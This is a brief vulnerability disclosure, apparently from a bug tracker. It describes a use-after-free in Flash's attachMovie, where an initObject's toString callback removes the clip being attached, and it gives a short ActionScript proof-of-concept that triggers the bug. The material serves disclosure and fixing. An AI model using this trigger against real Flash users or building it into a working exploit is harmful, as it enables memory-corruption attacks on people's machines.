If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows: n = {_quality : {toString : func}}; function func(){ trace("hello"); newResetButton.removeMovieClip(); return "test"; } _root.attachMovie("myResetButton","newResetButton",200, n); A sample fla and swf are attached.
